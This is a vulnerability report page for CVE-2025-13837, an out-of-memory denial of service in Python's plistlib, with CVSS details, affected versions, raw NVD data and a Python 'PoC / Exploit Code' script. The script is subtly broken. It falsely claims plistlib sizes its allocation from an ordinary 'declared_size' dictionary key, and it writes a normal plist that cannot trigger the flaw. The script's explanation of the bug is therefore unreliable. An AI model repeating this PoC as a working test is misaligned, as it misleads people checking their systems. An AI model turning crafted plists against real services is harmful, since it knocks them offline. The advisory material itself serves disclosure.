Security Vulnerability Report
中文
CVE-2025-13837 CVSS 5.5 MEDIUM

CVE-2025-13837

Published: 2025-12-01 18:16:04
Last Modified: 2026-03-03 15:16:14

Description

When loading a plist file, the plistlib module reads data in size specified by the file itself, meaning a malicious file can cause OOM and DoS issues

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha2:*:*:*:*:*:* - VULNERABLE
Python plistlib < 受影响版本(具体版本需查看官方修复commit)
Python 3.x 系列多个版本存在此漏洞
使用plistlib模块解析不可信plist文件的所有Python应用

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13837 PoC - Python plistlib OOM DoS This PoC demonstrates the memory exhaustion vulnerability in Python's plistlib module. """ import plistlib import struct import os def create_malicious_plist(output_path, fake_size=1024*1024*1024): """ Create a malicious plist file that declares an extremely large size, causing plistlib to attempt allocating huge amounts of memory. Args: output_path: Path to save the malicious plist file fake_size: The fake size to declare in the plist (default: 1GB) """ # Create a minimal plist with an oversized data field malicious_data = { 'malicious_payload': plistlib.Data(b'\x00' * min(fake_size, 1024*1024)), # Limit actual data 'declared_size': fake_size # This is what plistlib reads to allocate memory } with open(output_path, 'wb') as f: plistlib.dump(malicious_data, f) print(f'[+] Malicious plist created: {output_path}') print(f'[+] Declared size: {fake_size} bytes ({fake_size/(1024**3):.2f} GB)') def trigger_vulnerability(plist_path): """ Attempt to parse the malicious plist file to trigger OOM. """ print(f'[*] Attempting to parse: {plist_path}') try: with open(plist_path, 'rb') as f: data = plistlib.load(f) print('[!] Parsed successfully - vulnerability may be patched') except MemoryError as e: print(f'[+] MemoryError triggered - vulnerability confirmed: {e}') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') if __name__ == '__main__': import sys # Create malicious plist with 1GB declared size fake_size = int(1024**3) # 1GB output_file = 'malicious.plist' create_malicious_plist(output_file, fake_size) trigger_vulnerability(output_file) # Cleanup if os.path.exists(output_file): os.remove(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13837", "sourceIdentifier": "[email protected]", "published": "2025-12-01T18:16:04.380", "lastModified": "2026-03-03T15:16:14.483", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "When loading a plist file, the plistlib module reads data in size specified by the file itself, meaning a malicious file can cause OOM and DoS issues"}, {"lang": "es", "value": "Al cargar un archivo plist, el módulo plistlib lee datos en un tamaño especificado por el propio archivo, lo que significa que un archivo malicioso puede causar problemas de OOM y DoS."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.10", "matchCriteriaId": "B02C195C-8271-4207-9FE9-E46C7A4978AE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.0", "versionEndExcluding": "3.14.1", "matchCriteriaId": "6E66BA7A-987F-4E24-8B69-4F46D6FCD19E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "A3327507-0B1D-4F28-A983-D07A2C8A7696"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "C8AF17F1-A27F-4C98-BA5A-B4319710E8D1"}]}]}], "references": [{"url": "https://github.com/python/cpython/commit/568342cfc8f002d9a15f30238f26b9d2e0e79036", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/commit/5a8b19677d818fb41ee55f310233772e15aa1a2b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/694922cf40aa3a28f898b5f5ee08b71b4922df70", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/71fa8eb8233b37f16c88b6e3e583b461b205d1ba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/b64441e4852383645af5b435411a6f849dd1b4cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/cefee7d118a26ef6cd43db59bb9d98ca9a331111", "source": "[email protected]"}, {"url": "https://github.com/python/cpython/issues/119342", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/python/cpython/pull/119343", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://mail.python.org/archives/list/[email protected]/thread/2X5IBCJXRQAZ5PSERLHMSJFBHFR3QM2C/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}